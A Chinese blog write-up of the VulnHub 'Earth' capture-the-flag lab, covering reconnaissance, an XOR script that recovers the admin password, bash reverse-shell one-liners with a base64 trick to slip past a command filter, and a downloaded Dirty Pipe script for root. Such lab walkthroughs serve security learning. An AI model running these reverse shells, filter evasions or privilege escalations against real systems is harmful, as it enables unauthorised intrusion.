打靶分享:VulnHub-Earth

一:环境 

       靶机下载地址:The Planets: Earth ~ VulnHub​​​​​icon-default.png?t=N7T8https://www.vulnhub.com/entry/the-planets-earth,755/      直接下载使用VM运行即可,注意网络要改为NAT模式.。

      靶机IP:10.0.0.141

      攻击机:kali(虚拟机)

      攻击机IP:10.0.0.135

二:实战

1.收集靶机信息(包括开放端口,服务以及版本信息)

        1.1先使用nmap扫描一下存活主机,如果发现没有存活主机大概率是英文网络模式不是NAT

        nmap 10.0.0.0/24,发现了目标主机10.0.0.141

      

       发现目标主机有80端口开放,先访问一下10.0.0.141。发现没有用,接下来使用dirsearch扫描后台目录

dirsearch -u 10.0.0.141

还是没有什么发现,然后使用

gobuster dir -u http://10.0.0.141 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

    

结果直接报错,说明目前收集的信息还是不够。此时使用nmap -sC 10.0.0.141发现了不一样的内容,就是443端口这里发现了DNS的两个域名,所以我就查了一下-sC这个参数(平时信息收集其实用的不多)

-sC ——> : 等价于–script=default,使用默认类别的脚本进行扫描 可更换其他类别 。说实话感觉有点抽象,反正记住就行了。

  此时要重视这两个域名,为了能够访问这两个域名。首先,先绑定域名直接在kali终端操作

  vim /etc/hosts  

此时就可以访问这两个域名了,但是不要用物理机的浏览器直接访问。否则,会有访问失败的情况我认为大概率是因为物理机和虚拟机不在同一网段(但是又感觉有点怪,等后面再研究研究)

所以,最好的解决办法就是直接在终端打开虚拟机火狐浏览器并访问earth.local和terratest.earth.local在第一个域名中如果想发送message必须要输入message key。

所以接下来还是老套路,先使用dirsearch查看后台目录dirsearch -u earth.local

确实有收获,发现了一个admin,所以访问一下earth.local/admin点击Log In

发现要输入用户名和密码,所以现在的关键就是找用户名和密码。此时我们还有一个域名terratest.local,继续使用dirsearch terratest.local

发现有robots.txt,继续访问terratest.local/robots.txt

发现里面只有testingnotes没有后缀名,最特殊的要重视起来。所以就盲猜后缀名可能为php,txt一个一个去试

看不懂直接有道翻译:

测试安全消息系统
*使用XOR加密算法,应该和RSA算法一样安全。
*地球已经确认他们收到了我们发送的信息。
*testdata.txt用于测试加密。
*terra用作管理门户的用户名。
待办事项:                                                                                                                                
*我们如何将每月的密钥安全地发送到地球?或者我们应该每周更换一次键?
*需要测试不同长度的密钥以防止暴力破解。钥匙应该有多长?
*需要改进消息传递界面和管理面板的界面,目前它非常基础。
到这里我们就拿到了用户名terra还有密钥testdata.txt,继续访问   terratest.earth.local/testdata.txt

这个就不用翻译了,因为刚才说了这个是密钥。现在就差解密的内容了,显然下面这张图中的那三行是我们要解密的内容。

开始解密,因为加密类型是XOR所以,直接上脚本。这里是用python写的,只需key的值依次替换为上图中的三段解密内容。


import binascii

key="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
testdata="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

a = binascii.b2a_hex(testdata.encode()).decode()
b = binascii.a2b_hex(hex(int(a,16) ^ int(key,16))[2:]).decode()
print(b)

解密后:

vjh6qkxhl*o! radio.wcxrh.%fc&tl$+ytkor:cys7em=&r7_jg#nf(*Q`o#+Ngo7f ?M}|w$yIl  &`! ~o-vxanc,'(--ck`z.#Q|cu k&*,8*~ta*#-nngc   <o!np&C8iu+5i+bss}!md-.-D~f'd~lrg}&q!0O+`)R6rf( I~of~% rdl"{'`e="f{<`u-C/jubdt!mi#x{sty<g2/sn+`4}l.Hg?:}   t-A<ln*7Jj7fsb,


vjh6qkxhl*o! radio.wcxrh.%fc&tl$+ytkor:cys7em=&r7_jg#nf(*Q`o#+Ngo7f ?M}|w$yIl  &`! ~o-vxanc,'(--ck`z.#Q|cu k&*,8*~ta*#-nngc   <o!np&C8iu+5i+bss}!md-.-D~f'd~lrg}&q!0O+`)R6rf( I~of~% rdl"{'`e="f{<`u-C/jubdt!mi#x{sty<g2/sn+`4}l.Hg?:}   t-A<ln*7Jj7fsb,

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
显然最后一个中有不断重复的内容earthclimatechangebad4humans,所以怀疑这是密码,尝试去登陆

用户名:terra

密码:earthclimatechangebad4humans

登陆成功,看到可以输入命令。直接一句话马反弹shell,先在kali中开启一个监听端口

2.开始攻击

nc -lvvp 99

bash -i >& /dev/tcp/10.0.0.135/99 0>1&

                                                                                                                                                           

发现有禁止远程连接,应该是代码中含有敏感信息导致的。那就用base64加密一下

加密后:YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMTM1Lzk5IDA+MSY

稍加处理:

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMTM1Lzk5IDA+MSY}|{base64,-d}|{bash,-i}'

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMTM1Lzc3NzcgMD4xJg}|{base64,-d}|{bash,-i}'

说没有权限,换个端口试试

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMTM1LzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}'

成功拿到shell,查看当前权限

接下来就要提权了,先获取一下linux版本

uname -a

发现是5.14.9刚好是Dirty-pipe提权,它的范围是 5.8 <= Linux内核版本 <5.16.11 / 5.15.25 / 5.10.102,刚好在范围内。尝试使用Dirty-pipe进行提权。

先在kali上开启一个上传文件至靶机的端口

python3 -m http.server 5555

然后在shell终端使用wget http://10.0.0.135:5555/Dirty-Pipe.sh

发现没有写入权限,换个目录试试。

在/tmp目录下上传成功

运行脚本进行提权./Dirty-Pipe.sh

脚本没有运行权限,使用chmod +x Dirty-Pipe.sh赋予运行权限。继续运行

成功拿到root权限!

继续查找flag

Congratulations

最终在root目录下拿到flag!

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              

  • 29
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值